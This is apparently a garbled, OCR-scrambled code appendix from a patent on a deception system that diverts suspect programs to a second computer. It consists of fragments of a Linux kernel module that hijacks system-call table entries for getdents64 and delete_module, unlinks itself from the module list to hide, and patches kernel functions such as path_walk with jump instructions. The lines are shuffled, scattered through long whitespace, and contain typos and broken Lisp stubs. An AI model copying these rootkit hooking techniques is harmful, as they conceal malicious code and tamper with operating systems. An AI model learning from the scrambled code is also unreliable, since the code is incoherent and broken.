                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       nd->last_type = LAST_DOT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto no_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  nd->last_type = LAST_DOTDOT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!inode->i_op || !inode->i_op->lookup)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               err = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      LOOKUP_DIRECTORY) (
```

```
#if CONFIG_MODVERSIONS==1
                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include <linux/kernel.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #include <linux/modversions.h>
                                  #include "extras17.h"
                                                                                                                                                                                                                                                                                                                                                                                                                              #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     globak_root:
                                                                                                            #include <linux/sysctl.h>
                                                                                                                                    #include <linux/iobuf.h>
                                                                                                                                                                                       #include <linux/sched.h>
                                                                                                                                                                                                                    #include
                                                                                                                                                                                                                                                                                                                                                 #include <linux/utime.h>
                                                                                                                                                                                                                                                                                                                                                                           #include <linux/mm.h>
                                                                                                                                                             #include <linux/tty.h>
                                                                                                                                                                                                                                                                   #include <linux/quotaops.h>
                                                                                                                                                                                                                                                                                                #include
                                                                                                                                                                                                                                                                                                                      #include <linux/file.h>
                                                                                                                                                                                                                                                                                                                                                                                                  #include <linux/string.h>
                                                                                                                                                                                                                                               include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        / # File rerout.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                buflen -= namelen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           namelen = dentry->d_name.len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *retval = '/';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (buflen >= 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               for (;;) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    d_g(retval);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   d_g(retval);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                memcpy(retval, dentry->d_name.name, namelen);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (dentry == root && vfsmnt == rootmnt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               retval -= namelen-1; /* hit the slash */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dentry = parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    retval = end;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     memcpy(end, dentry->d_name.name, namelen);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                end -= namelen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (buflen < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           buflen -= namelen + 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    namelen = dentry->d_name.len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          parent = dentry->d_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    struct dentry * parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 '--end = '/';
                                                                             <linux/personality.h>
                                                                                                                                                                                                                                                                                                                                                                                                                          linux/module.h>
                                                         <asm/uaccess.h>
                                                                                                                                                                                                                  linux/module.h>
                                                                                                                                                                                                                                        <linux/dnotify.h>
                                                                                                                                                                                                                                                                                            <linux/smp_lock.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      vfsmnt = vfsmnt->mnt_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dentry = vfsmnt->mnt_mountpoint;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (vfsmnt->mnt_parent == vfsmnt)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* Global root? */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto global_root;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          void restore_fcn(void * k_fcn, void * org_fcn);
char org_path_walk[5]; //keeps original kernel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         structure in the list so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             asmlinkage long my_sys_delete_module(const char *name_user)(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   asmlinkage long (*org_sys_getdents64)(unsigned int fd,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              char org_d_path(5); //keeps original kernel opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        extern void *sys_call_table[];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #include <sys/syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                it can be removed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           asmlinkage long (*org_sys_delete_module)(const char *name_user);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             void reroute_fcn(void * ,void * ,void * );
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #ifndef
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #include <linux/sched.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define MODVERSIONS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include <asm/uaccess.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #define
// Do automatic reaping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (name_user) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      module_list=hidden_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               hidden_module->next=module_list; //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!capable(CAP_SYS_MODULE))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct module *mod, *next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     long error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int something_changed;
                                                       goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if ((mod = find_module(name)) == NULL) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                error =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if ((error = get_mod_name(name_user,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return -EPERM;
                                                                                                                                                                                                                                                                                            spin_lock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                             if (mod->refs != NULL)
                                                                                                                                                                                                                                                                                                                                                                         error = -EBUSY;
                                                                                                                                                                                                                                                                                                                                                                                                put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               KERNEL_VERSION
                                                                                                                                  else (
                                                                                                                                                                                                                                                                                                                    goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                   goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto out;
                                                                                                    spin_unlock(&unload_lock);
                                                                                                                                                             error = 0;
                                                                                                                                                                                 freg_module(mod, 0);
                                                                                                                                                                                                            spin_unlock(&unload_lock);
                                                                                                                                                                                                                                      mod->flags |= MOD_DELETED;
                                                                                                                                                                                                                                                             _MOD_IN_USE (mod) ) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                -ENGENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //keeps original kernel opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 &name)) <
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 re-insert module
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         void * dirent,
```

```
asmlinkage long my_sys_getdents64(unsigned int fd, void * dirent,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        restart:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               unsigned int count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                   struct file * file;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    something_changed =
                                                                                                                                                                                                                                                                                                             error = -EBADF;
                                                                                                                                                                                                                                                                                                                                                                       struct getdents_callback64 buf;
                                                                                                                                                                                                                                                                                                                                                                                                    struct linux_dirent64 * lastdirent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      for (mod = module_list; mod != &kernel_module; mod = mod->next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (something_changed)
                                                                                                                          buf.count = count;
                                                                                                                                                                                      buf.current_dir = (struct linux_dirent64 *) dirent;
                                                                                                                                                                                                                                                    if (!file)
                                                                                                                                                                                                                                                                            file = fget(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           for (mod = module_list; mod != &kernel_module; mod = next) {
                                   if (error < 0)
                                                              error = vfs_readdir(file, my_filldir64, &buf);
                                                                                             buf.error = 0;
                                                                                                                                                         buf.previous = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              next = mod->next;
                                                                                                                                                                                                                  goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto restart;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 spin_lock(&unload_lock);
goto out_putf;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            mod->flags &= ~MOD_JUST_FREED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (mod->refs == NULL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ((mod->flags & MOD_VISITED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mod->flags |= MOD_DELETED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   spin_unlock(&unload_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 something_changed = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 free_module(mod, 1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mod->flags &= ~MOD_VISITED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (mod->flags & MOD_AUTOCLEAN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  && ! (mod->flags & MOD_JUST_FREED)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ! (mod->flags & MOD_DELETED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (mod->flags & MOD_USED_ONCE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (mod->flags & MOD_RUNNING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MOD_IN_USE (mod))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               void cleanup_module()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 out_putf:
                                                                                                                     memcpy(org_fcn,k_fcn,5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *
                                                                                           memcpy(k_fcn,a,5);
                                                                                                                                                                                   memcpy(&a[1],&tmp,4);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  void reroute_fcn(void *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int init_module()
                                                                                                                                                         the opcode
                                 /* Restores a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Reroute a kernel function by overwriting kernel binary
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      error = buf.error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (lastdirent)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // module_list=module_list->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       lastdirent = buf.previous;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 hidden_module=module_list; //save place of hidden module
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               copy_to_user(&lastdirent->d_off, &d.d_off, sizeof(d.d_off));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                d.d_off = file->f_pos;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct linux_dirent64 d;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               a jump instruction to a desired location. */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           overwrites the function entry point with
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sys_call_table[__NR_getdents64] = my_sys_getdents64;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  org_sys_delete_module = sys_call_table(__NR_delete_module);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 org_sys_getdents64 = sys_call_table[__NR_getdents64];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("Start offset: %x\n", (int)&my_strlen);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = count - buf.count;
                                                                                                                                                                                                                                                                                                                                        char a[5];
                                                                                                                                                                                                                                                                                                                                                                       char * prt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          After it saves the original function contents,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sys_call_table(__NR_getdents64) = org_sys_getdents64;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            restore_fcn(&__d_path,org_d_path);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        restore_fcn(&path_walk,org_path_walk);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          reroute_fcn(&path_walk,&poth_walk,org_path_walk);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* save original system call pointers
                                                                                                                                                                                                                                          tmp=(int)new_fcn-(int)k_fcn-5;
                                                                                                                                                                                                                                                                              a[0]=0xe9;
                                                                                                                                                                                                                                                                                                             prt=k_fcn;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sys_call_table(__NR_delete_module) = org_sys_delete_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             reroute_fcn(&__d_path,&my__d_path,org_d_path);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sys_call_table(__NR_delete_module) = my_sys_delete_module;
                                   function in the kernel with its original
                                                                                                                                                                                                                                                                            //jmp near with 32 bit relative offset
                                                                                             //overwrite kernel
                                                                                                                                                                                 //build opcode. insert the jump offset into
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    k_fcn,void *
                                                                                                                          //save original binary contents
                                                                                                                                                                                                                                                                                                                                                                                                                                                               new_fcn,void *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            //hide module
                                                                                                                                                                                                                                               //calculate relative offset
                                                                                           binary
                                                                                             (reroute
                                                                                                                                                                                                                                                                                                                                                                                                                                                           org_fcn)
```

```
void restore_fcn(void * k_fcn, void * org_fcn)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Below are example files associated with a 'brain' according
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Example Brains Source Code Files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           instruction */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        allow a program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            program to a second computer.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Thus, in this example source code, actions include allowing a program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              module as described and the Brain module determines whether to run the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      communication (IPC) with a Brain
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              according to specific embodiments of the invention is in interprocess
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        program as described herein
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                deception are executed on a different system.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        system where programs marked for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            specific embodiments of the present
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  fictitious error and/or can refuse to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    to execute normally or redirect a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      command on a different system.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  invention and associated with an example embodiment using a dual-
                                                                                                                              (setf
                                                                                                                                                    (setf
                                                                                                                                                                                                                                                                                                            (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                               (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                files necessary for the
                                                                            setf
                                                                                                      setf
                                                                                                                                                                                  allowed)
                                                                                                                                                                                                        setf (gethash
                                                                                                                                                                                                                                                          (setf
                                                                                                                                                                                                                                                                                                                                    (setf
                                                                                                                                                                                                                                                                                                                                                            (setf
                                                                                                                                                                                                                                                                                                                                                                                      sett
                                                                                                                                                                                                                                                                                                                                                                                                               (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                       (setf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setf
